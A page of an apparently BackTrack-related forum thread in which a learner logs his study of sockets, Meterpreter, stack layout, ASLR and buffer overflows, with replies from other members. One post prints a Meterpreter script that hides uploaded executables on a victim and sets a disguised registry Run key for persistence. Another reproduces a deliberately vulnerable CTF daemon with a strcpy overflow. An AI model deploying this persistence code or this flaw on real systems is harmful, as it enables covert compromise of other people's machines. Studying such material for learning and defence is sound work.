Page 3 of 5 FirstFirst 12345 LastLast
Results 21 to 30 of 41

Thread: One persons journey with Back Track

  1. #21
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    5. Any information that is written by the Client to the Socket that is binded to port 'x' is then sent to the Server's Socket that is binded to port 'y'. The same is true for the reverse.


    6. After there is an established connection between the Server's Socket and the Client's Socket there is no need for there to be a connection on the Server's port 80 and it is left open for future requests. The User can now obtain information from the Server through the interaction between the Client and Server.


    So this answers a couple of questions that I had:
    1. Why is it that multiple clients can connect to one server?
    This is because the client and server use sockets bounded to different/open local ports.

    2. Why is it that after a meterpreter session is created it is created on a different port number than the one I specified?
    Well same as above, initially using the multi/handler to wait for a payload to be executed is simply a server waiting for a request to be sent by a client. Once a payload is executed on a victim/client the exchange of information is in the form of the meterpreter which is binded to a different Local Port.

    I hope this helps some people, let me know if the pictures need to be shrunk or if I should just link them to my photobucket site. I suggest you read the link above as its very interested and goes much more in depth. Thanks for reading.

  2. #22
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=lupin I like the pictures. Funny. Is that a monkey head on the client?
    I don't know much about Java sockets, not being a Java programmer, but the description on that page about sockets does not describe the way sockets are normally created over TCP, for example between a web server and client.
    An example:
    A web server listens on TCP port 80.
    A client, wanting to make a request to the server, picks a local client TCP port number (say 1198) and sends a TCP segment with the SYN flag set from that source port to the webserver on destination port 80. (So the client port is chosen by the client before its first communication)
    The server responds with a TCP segment to destination port 1198 source port 80 with the SYN and ACK flags set. The client the sends a segment with an ACK flag set from TCP source port 1198 and TCP destination port 80. The three way handshake is now complete and the systems have a socket to communicate over, using the given ports.
    Neither the server or the client will change their port numbers during this conversation, all communication in this socket goes between TCP ports 1198 and 80. The combination of the two IP addresses and two TCP port numbers from the server and client can uniquely identify the socket, to keep it separate from other sockets running over port 80 on the same web server. The server or client can use that socket to create new sockets for communication (like the Unix portmapper, FTP servers, etc), but TCP itself does not require it, and most client/server applications just use regular TCP sockets as described above.
    You can confirm this by performing a packet capture between a web server and client.
    Its possible that the link you provided meant something else by the word "port", but in terms or TCP ports (and UDP ports as well by the way), its not correct

    QUOTE= AnActivitst Shoot how embarrassing. Well, I found this quote from the website, perhaps you are correct that the below example is java specific?
    The Java environment is highly regarded in part because of its suitability for writing programs that use and interact with the resources on the Internet and the World Wide Web. In fact, Java-capable browsers use this ability of the Java environment to the extreme to transport and run applets over the net.
    Edit: I'm reading up on sockets over TCP so I'll be back with some more accurate information, and perhaps better pictures

  3. #23
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= AnActivist A while ago BigMac uploaded a very interesting video where he uses windows/meterpreter/reverse_tcp payloads that have been converted into executables along with a nifty ruby script to produce some very interesting results. To make a long story short a payload/executable is executed on the victims computer which then sends a meterpreter session back to the attacker but also executes this script:
    Code:
    print_status("Creating directory")
    client.fs.dir.mkdir("c:\\system")
    client.fs.dir.mkdir("c:\\system\\windows")
    client.fs.file.upload_file("c:\\system\\windows\\wingrab.exe" , "/root/Desktop/Exploits/Project/wingrab.exe")
    client.fs.file.upload_file("c:\\system\\windows\\winview.exe" , "/root/Desktop/Exploits/Project/winview.exe")
    client.sys.process.execute("c:\\system\\windows\\wingrab.exe", nil, {'Hidden' => 'true'})
    
    key = "HKLM\\software\\microsoft\\windows\\currentversion\\run"
    value = "MicrosoftETA"
    data = "c:\\system\\windows\\wingrab.exe"
    type = "REG_SZ"
    root_key, base_key = client.sys.registry.splitkey(key)
    open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
    open_key.set_value(value, client.sys.registry.type2str(type), data)
    print_line("Successful")
    Basically adding another payload/executable to the registry so every time the victim starts their computer this payload is executed. For some reason starting a couple of weeks ago the script started to cause the meterpreter sessions to get in the way of each other and now the script doesn't produce the right results anymore. HDM helped me fix this problem with only two lines of code, however a couple of days ago my BT3 vmware got corrupted and I lost all my data. Now I can't remember how HDM did it but I figured out a way to solve the problem a little bit less elegantly.
    To keep from the meterpreter sessions from getting hung up and re running the above script just add the following lines to the beginning and end:
    NOTE: Watch BigMac's video if any of this is confusing, or check out some other tutorials, this isn't really a how to, more like a contribution to other peoples work, that being said a lot of the file names/ directories could be different.
    Code:
    id = client.sys.process['wingrab.exe']
    if (id == nil)
    ....code from above....
    end
    This should fix the problem. When I have more time I'm going to re write this post so that it makes a little bit more sense. I just thought I would throw it out there to see if anyone else is having this issue of the sessions getting hung up without my addition. Hope this helps someone. Thanks for reading.

    *KMDave I'd like to try and recreate the above problem with someone else. PM me if you want to try it out.

  4. #24
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= AnActivist I've been reading "The Shellcoder's Handbook" and there is one example that has really been causing me a little bit of a headache. I think I have diuscovered an error in the book; I have been unable to find anywhere else that this is documented on the internet so I've done my own research. After reading this if you can either confirm or prove wrong my hypothesis your help would be appreciated.

    Hypothesis: There is an error in "The Shellcoder's Handbook - Discovering And Exploiting Security Holes (2004)" in Chapter 2: Stack Overflows, Functions and the Stack, figure 2.3. This error basically describes the low memory addresses to be the bottom of the stack and the high ones to be the top. I think this is false, and the picture should actually be the other way around.

    Sources: Phrack Magazine " Smashing the Stack for fun and profit"
    The Shellcoder's Handbook - Discovering And Exploiting Security Holes (2004)

    This is the example code that is used in "The Shellcoders Handbook"
    Code:
    void function(int a, int b){
         int array[5];
    }
    main()
    {
    
     function(1,2);
     printf("This is where the return address points");
    }
    then this is the image 2.3 (recreated but feel to check it out in your copy)

    The difficult thing is that many different sources visually describe the stack differently; however from the reading I have done in both the Shellcoder's Handbook and outside sources (include the Phrack Magazine article listed above) I have gathered the following:

    The stack is a LIFO structure that grows down, meaning it grows from high memory to low memory. One would then go one step farther and say that the top of the stack is at the lowest memory address and the bottom is at the highest memory address.

    This would lead me to conclude that the figure 2.3 is labeled incorrectly. It is also flipped upside down depending on how you look at the stack (however this is trivial because it depends on perception).

    Here is another example from the Phrack Magazine article "Smashing the Stack for Fun and Profit", you can see the difference.
    Code:
    void function(int a, int b, int c) {
       char buffer1[5];
       char buffer2[10];
    }
    
    void main() {
      function(1,2,3);
    }
    Code:
    bottom of                                                            top of
    memory                                                               memory
               buffer2       buffer1   sfp   ret   a     b     c
    <------   [            ][        ][    ][    ][    ][    ][    ]
    	   
    top of                                                            bottom of
    stack                                                                 stack
    Thank you as always for reading, I'm looking forward to some more experienced input.

  5. #25
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=KMDave Yup, the stack grows down, so the image is basically in the wrong way.
    Might be so that someone who never dealt with it can visualize it better. But not sure what the real intention was or if it is just "messed up" by accident.

    QUOTE= AnActivist Its always great to hear people are enjoying reading this thread; thank you for the kind words.

    It has been a little while since I have posted anything useful. The reason for this is that I have been trying to learn more about buffer overflows and getting more into the nitty gritty; after all we can only last so long hanging on the tailcoats of champions like HDM or the rest of the Metasploit team. One day I would really like to actually contribute to some of the work they do. Because of this I've been trying to sift my way through the the low level world of buffer overflows.

    For the moment it is pretty unrewarding which is to be expected. When I say unrewarding I mean that I can't really write a fun report about key logging but its very exciting to learn about, just perhaps not as exciting to document.

    Still I have some good news: I found a project called the SEED project; I won't go into to much detail as to what it is since the link is right there but basically it explains how to set up an exploit lab and runs through some labs. At the end of each lab there is a lab report required to be submitted, however I think that is only for students. This appears to be exactly what I am looking for, and it also will add more modularity to my research.

    I'm just going to pretend like this thread would be the "professor" and I will be submitting my research/lab reports here for criticism and advice. I'm not sure how well this is going to work but I see no harm in trying it out. Feel free to join in, or just stay tuned.

    As always thank you for reading, and thank you again for all the kind words.

    Basically the SEED project lab consists of MINIX3 and Fedora (I used 8) to be run inside of vmware. This turned out to be a little bit more of a pain than I thought, so I'm going to jot down some pointers for anyone else and for myself so I don't forget.

    1. Google for minix/fedora vmware images so you don't have to worry about the configuration, from there its easy just download the tar, then untar then open it up in vmware-workstation 6.5. I tried to install it myself from the .iso and both turned out to be a pretty big pain. The preconfigured vmware images were much simpler.
    links:
    minix3- I used the first one.
    Fedora8 - I used an older core however according to the documentation on the SEED site the core # shouldn't matter too much.
    Notes:
    -I haven't really messed with MINIX3 yet, for now it seems pretty bare, there is some configuration required but I think that as I progress through the labs it will explain more.
    -The 2 default users for fedora are as follows (username, password):
    root, fedora
    fedora, fedora
    -I recommend logging in as root first and then creating your own username/password. I also recommend configuring "sudo" to work properly, especially if your coming from Ubuntu like me: LINK

    2. Getting a compiler/header files to install VMware Tools for Fedora 8.
    This was a pretty big pain, the Fedora team in their infinite wisdom decided to not include the gcc compiler or the C headers.

    -To get both issue the following commands
    Code:
    yum -y install gcc gcc-c++ kernel-devel
    Note:
    The VMware-Tools script should be able to find both your compiler and your C header files now but if it can't these are the locations of the gcc compiler and the header files respecfully:

    /usr/bin/gcc
    /usr/src/kernels/2.6.23.1-42.fc8-i686/include

    One more not about finding stuff in linux, use the "which" command, aka if your trying to find your gcc compiler, "which gcc" will print you the directory it is located in.

    3. Installing the VMWare tools:
    Alright all the hard work is finally done. Just boot into Fedora 8 with VMware; click on the VM tab; go the "Install VMware Tools...".
    Now a cd should have mounted to your desktop, double click; drag the tar file onto your desktop, untar it, change directories into the folder that was just made; and sudo run the install script (sudo ./vmware-install.pl).

    Everything should be good now unless you need to manually put in the directories I listed above, just restart afterwards. This is a pretty rough little howto, I plan on revising it tomorrow I just wanted to get everything down before I forget. I'm pretty excited to actually get into the labs now that my environment is all set up. Thanks for reading.

  6. #26
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= AnActivist Thats great lupin; I'm always happy to know that my posts are helping someone out.

    I'm going to give an update on my situation as much has changed since the last listing of my goals a couple posts back. Mostly what has changed is the technology around me.

    For graduation my uncle surprised me with an IPhone 3gs. I will say that this is quite a shock to me as I have gone from a large brick with metro pcs (think early 2000 nokias) to arguably the sleekest phone on the market. I'm a bit conflicted because to be honest I rage against materialism, I'm interested in knowledge not material things; it makes me sad to know that I'm now immediately grouped in with some of the yuppies I see with IPhones (this is just my experience from where I am from and my own environment not yours). At the same time I cannot believe how useful it is. I literally have the key to knowledge (the Internet) with me at all times and it is very exciting. I plan to make the most out this piece of equipment to try and make up for its materialistic curse.

    Second, I decided that my Dell XPS laptop was just too much. It just didn't meet the specs that I'm looking for; both for college next year and my own personal use. Its just too heavy, flashy, and has so little battery life that I can't use it for what it was intended for. I was actually able to sell it on Ebay for more than the original cost, which is very good. Currently I'm looking to purchase a Lenovo Ideapad but still haven't made up my mind, I should have an update pretty soon into the future. As always your input would be appreciated.

    To update some goals, I have decided to push aside my wireless ambitions for now, as well as the readings of the Shellcoder's handbook and the Rootkit book to work on the SEED Project; which by the way is coming along very nicely. I view the SEED project as the base that will push me off into whatever other projects I want to pursue with a solid foundation. That being said my update summer project/reading list should go in the following order:

    SEED Project -> Shellcoder's Handbook Second Edition -> Rootkits Subverting Win

    My currently the SEED Project is going very well, I am working my way through the first lab and learning more than ever. With Internet access always available to me I think I should be right own my way to success by the end of the summer.

    Some other side goals:
    -Purchase a laptop/get Ubuntu working flawlessly
    -Once BT4 final is released re-work wiki articles (purehate, whenever you have free time just send me that wiki account) and make sure that they are presentable.
    -Research the computer underground, and verify whether it even exists today.

    This post is just a reference to keep me on track, my apologies for its longwindedness. Like I said before if you do read and have any feedback that you think would help me, it is always appreciated; thank you for reading.

  7. #27
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= AnActivist It has been a little while but I have been hard at work. I followed the SEED project for some time however it has lead me to a much more interesting topic which I have branched into. Everyone has reading Smashing the Stack for Fun and Profit, perhaps some people have also read Smashing the Modern Stack; however, neither of these papers really address the recent changes to the default settings of the 2.6 Kernel, namely the ASLR (address space layout randomization). For me this is the most cutting edge I have ever been. I have read many papers that were current 5, 6, even 10 years ago, but it has been difficult for me time find any reading that is up to date. This is a very exciting time for me; I have have spent hours researching and compiling information.

    Tonight I made a big mental breakthrough and I was so excited that I thought I should just take it slow for a little while and begin to document and compile all my research together in a readable format, for my own benefit, and anyone else who is interested.

    There are so many links, so many articles that need to be addressed however the corner stone of my research is a paper written by Izik Kotler titled, Smack the Stack. It is from this paper that I branch off into other wiki articles, websites, references, and other research papers.

    The format of the rest of my posts for the next couple of weeks (or more) will be as follows: I will begin reading from Izik's paper, which, for those who haven't read it, goes through methodically many different modern day exploitation methods. Although many people may be able to understand completely Izik's methods by reading his paper alone, I have found that I am not in this category. His wording along with the topics he discusses are advanced (at least for me; it has been about a week and a half and I am only now beginning to understand the RET2RET method, which is his first method he describes). This requires me to do a lot of outside research, I am going to be posting my readings/sources in parts along with my own comments to maybe help people who were as confused as me in the beginning. As always I will give all the credit to the authors, and links and sources will all be cited.

    This is a very exciting time for me and anyone else who is interested but having a rough time breaking through the barrier of some of the advanced stack smashing topics. I say exciting because the information is everywhere, it just needs to be compiled together into usable chunks for people who are interested. It is the most fun and rewarding research I have done yet, and it swings through mazes of wiki articles mostly, and hidden UK blogs. Please to anyone who is more experienced then me correct any information that I present the wrong way, I am learning and it is more than likely I will misinterpret or misinform.

    That being said. The beginning of Izik's paper discussed "stack juggling" methods
    Quote Originally Posted by Izik
    Stack juggling methods take their advantages off a certain stack
    layout/program flow or a registers changes.
    Due to the nature of these factors, they might not fit to every situation.
    link
    The first method he discusses is the RET2RET method. If you are indeed interested I suggest you read through Izik's paper several times to see if you can get a grasp on what exactly the RET2RET method is. If you were like me then you probably didn't understand it very well. I found another paper (and many others) that discuss this method explicitly. My next couple posts will lead through this exact paper, and perhaps clear up what Izik is saying...

    Modern Remote Exploitation
    Author: igotlifted : igotlifted@googlemail.com
    Link: Modern Remote Exploitation

    I am going to go through this paper chapter by chapter along the way clearing up any terminology or concepts that I didn't understand. I'll also cite the research that I did to find this information. Snippets from igolifted's paper will be in quote blocks. I'm going to skip the Introduction because there is no need to comment that portion, feel free to read the paper in html form from the link above, or google it for the pdf. This is the table of contents, each chapter will be a new post:
    Contents:
    0x00 :- Introduction
    0x01 :- A Basic explanation of va_randomize
    0x02 :- Sample Vulnerabilty
    0x03 :- Ground work
    0x04 :- Exploitation
    0x05 :- Conclusion
    0x06 :- End notes
    Enjoy, as always please let me know if the format is strange, if information is correct, or if you can offer any advice.

  8. #28
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= AnActivist Modern Remote Exploitation
    0x01 : A Basic explanation of va_randomize :-
    The randomization patch series introduces infrastructure and functionality that causes certain parts of a process' virtual address space to be different for each invocation of the process. The purpose of this is to raise the bar on buffer overflow exploits; full randomization makes it not possible to use absolute addresses in the exploit [1][2]. On older Linux distros it was fairly easy to write a remote exploit using an address within memory which pointed direct to the nopsled[3][4]. This made remote stack overflows really easy to exploit. With VA_Randomize this isn't possible

    [1] Memory address - Wikipedia, the free encyclopedia
    [2] Address space layout randomization - Wikipedia, the free encyclopedia
    -An absolute address would not work because of the nature of ASLR, that is, each instance of a program is laid out in a random address space. The parts that are randomized include the stack and the libraries. Also somewhat excited to show just how on the edge some of this material is: As of August 6 2008, the heap is also randomized (at least in Ubuntu, LINK), I say this is interesting because not more than several months before a paper was published titled ASLR Smack & Laugh Reference that is quoted saying that the heap is not randomized. As of now I know that the .text section is not randomized however I will do more research to find out what other parts are not randomized

    [3] NOP slide - Wikipedia, the free encyclopedia
    [4] Scan 20 by Solar Eclipse
    -The NOP slide is best described in link [4], however, to summarize: An NOP slide is a chain of NOP instructions, 0x90 in shellcode, also called “no-operation” instructions; this means that the cpu will execute this instruction and will move onto the next (in an NOP slide this next instruction will be another NOP instruction) instruction without performing any other actions. From an attackers perspective this increases the likelihood that an he/she will be able to execute their shellcode successfully from start to finish, because the NOP sled will always slide to the beginning of the shellcode. It is obvious that finding the precise address where the shellcode starts is difficult, but if the shellcode is padded with a chain of NOP instructions then finding that large chain in memory is easier (it becomes just a matter of finding an old pointer in the upper stack but more on this later); as long as an attackers gets the cpu to begin to execute any NOP instruction on the chain the NOP instructions will execute one after the other, and will eventually lead to the malicious shellcode.

    This was the first chapter, I'm not sure if I have mentioned but the above comments are just summaries that have helped me understand the contents, if you are interested I highly recommend reading the above links in full, particularly the ones about the NOP slide as it becomes very important later in the paper. Thank you for reading please feel free to offer any advice.

  9. #29
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE= Lupin You are certainly coming along fast.
    If you havent done so already Id recommend actually writing a basic buffer overflow exploit. It will help no end in actually understanding this stuff - reading is good but actually doing it will really cement things in for you. Start with something as basic as possible to get started with - a stack overflow that gives you lots of room in the buffer for your shellcode and which places the shellcode in an easy to access area.
    The Pentesting with Backtrack course has a great example of this, focusing on a remote exploit in a vulnerable third party Windows application. If you want a free example, you could try one of the following which I found after a quick Google:
    Mad Irish.net - Writing Windows Buffer Overflows
    http://www.corelan.be:8800/index.php...torial-part-1/
    Im also intending to write a guide on this myself, but that may take a while for me to get around to it.

  10. #30
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    0x02 : Sample Vulnerabilty :-
    This is a fairly easy daemon[5] to exploit, it is taken from HITBcon's CTF and modified slightly just to
    make it easier for people that are wanting to try this themself.

    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <resolv.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #define MAXBUF 5000
    #define TESTBUF 1000
    size_t flen;
    int pr( char *str)
    {
          char buf[2000];
          strcpy(buf,str);
          return 0;
    }
    int main(int argc, char **argv)
    {
          int sockfd;
          int clientfd;
          struct sockaddr_in self;
          char buffer[MAXBUF];
          u_short MY_PORT;
          if (argc < 2)
          {
                 MY_PORT = 7500;
                 printf("starting on default port 7500\n");
          }
          else if (argc == 2)
          {
                 MY_PORT= atoi(argv[1]);
                 printf("Starting service on port %d\n", MY_PORT);
          }
          if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
          {
                 perror("Socket");
                 exit(errno);
          }
          bzero(&self, sizeof(self));
          self.sin_family = AF_INET;
          self.sin_port = htons(MY_PORT);
          self.sin_addr.s_addr = INADDR_ANY;
          if ( bind(sockfd, (struct sockaddr*)&self, sizeof(self)) != 0 )
          {
                  perror("socket--bind");
                  exit(errno);
          }
          if ( listen(sockfd, 20) != 0 )
          {
                  perror("socket--listen");
                  exit(errno);
          }
          while (1)
          {
                  struct sockaddr_in client_addr;
                  u_int addrlen=sizeof(client_addr);
                  /*---accept a connection (creating a data pipe)---*/
                  clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
                  //printf("%s:%d connected\n", inet_ntoa(client_addr.sin_addr),
    ntohs(client_addr.sin_port));
                  /*---Echo back anything sent---
                  send(clientfd, buffer, recv(clientfd, buffer, MAXBUF, 0), 0);*/
                  if (!fork())
                  {
                         flen = recv(clientfd, buffer, MAXBUF, 0);
                         send(clientfd, buffer, flen, 0);
                         pr(buffer);
                  }
                  close(clientfd);
          }
          close(sockfd);
          return 0;
    }
    The vulnerability is fairly obvious in this case, the program reads input from the socket (upto
    5000Bytes), forks[6] and hands the
    input to the pr function:
    Code:
    int pr( char *str)
    {
          char buf[2000];
          strcpy(buf,str);[7]
          return 0;
    }
    A simple stack based overflow.
    [5] Daemon (computer software) - Wikipedia, the free encyclopedia
    -Many places I read I hear about this daemon process; I had never actually taken the time to look up what exactly it is. To be short a daemon is a computer program the runs in the background of your computer. From an exploitation perspective this is very important, because as any experienced pentester will tell you (the only reason I know if because I have read what they have said, I'm not speaking from experience) often system admins have default daemons running that they are not even aware of. If this daemon can be exploited then they are vulnerable as long as this daemon is running. Reading this wiki article really helped me piece together some of the motivation behind trying to exploiting daemons.

    [6] Fork (operating system) - Wikipedia, the free encyclopedia
    -Once again when reading I always hear about processes forking but have never really gone in dept as to what is actually happening. In this paper in particular, especially when igotlifted debugs with GDB, understanding what happens when a process forks is very important. When a process forks the original program (the parent) makes an exact copy of itself (the child). This is very important on many levels, from an everyday perspective forking allows *nix systems to be very efficient in how they execute commands (for more detail refer to the article). However from an exploitation perspective what we are really interested in is that this new child process, also has new address space, so as far as we are concerned as exploiters a child process is a whole new beast to deal with (also if a process does fork we need to follow that fork, as igotlifted will show later). A child process also has an exact copy of the memory segments of the parent process; the most important thing to remember is that best stated in the following line pulled right from the above wiki article: "Both the parent and child processes possess the same code segments, but execute independently of each other." Also the link above provides some great introductory information into what a process's address space looks like in memory, I recommend reading this segment and digging deeper through the above article to find more information.

    [7] This part should really jump out at you, if not then this paper/documentation isn't really going to be of much value, and you should read any of the thousands of, for the most part outdated but still valuable, Buffer Overflow papers. It is the bug that will be exploited in the code. The function pr( char *str) takes input from the user, it doesn't check if there is too many chars and then the program proceeds to stuff these chars into a buffer that may or may not be big enough. If there is too much then the buffer will overflow. In the past an pentester or worse could simply overwrite the ret address to point to malicious shellcode that has been conveniently stuffed in the buffer. However now because of the randomization of the stack (along with other parts of the address space) overflowing the buffer will usually cause a segmentation fault and the program will crash. Thus as we dig deeper through this paper we will see how authors like Izik and igotlifted address/overcome/subvert this new challenge.

    This is the end of chapter two; it basically lays the foundation for the PoC (proof of concept) example to come. I'm trying to post exact links that helped me while reading, but in reality the best thing for me is to find as much information from as many sources about the exact same topic but maybe from a different perspective; then I find everything begins to come together. Because of this at then end of each of these posts I'll be placing/updating a list of links that have helped me but are maybe not directly applicable to this section, but should still be read by anyone interested. Thats it for chapter two, thank you for reading.

    Other helpful links:
    [1] RPISEC Training - Ret2ret - RPISEC
    [2] 22C3: Advanced Buffer Overflow Methods [or] Smack the Stack
    [2a] Code refactoring - Wikipedia, the free encyclopedia
    [2b] Byte Alignment and Ordering in Message Definition

    KMDave, thank you for the words of encouragement; its very good to hear that you are holding my posts to a standard.

    Lupin thanks for the complement. Yes, I think after I fully understand this RET2RET method I will try to emulate it myself. I am definitely going to fully read those links you provided, thank you very much. I'm particularly excited to read about Buffer Overflows in Windows, as up until now I've only read about *nix.

Page 3 of 5 FirstFirst 12345 LastLast

Similar Threads

  1. If you are new to Back Track or Linux read this thread.
    By Archangel-Amael in forum Beginners Forum
    Replies: 95
    Last Post: 04-24-2011, 07:57 PM
  2. Problem booting back|Track 4
    By Natty Dreed in forum Beginners Forum
    Replies: 10
    Last Post: 02-03-2011, 02:44 AM
  3. Problem booting back|Track 4
    By smith100 in forum Beginners Forum
    Replies: 3
    Last Post: 02-20-2010, 07:51 AM
  4. NeXpose & Back|Track(4)
    By JF1976 in forum BackTrack Howtos
    Replies: 5
    Last Post: 02-12-2010, 10:12 PM
  5. New to Back Track, getting a Bios Bug + other issues
    By Cypher in forum Beginners Forum
    Replies: 2
    Last Post: 01-15-2010, 11:07 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •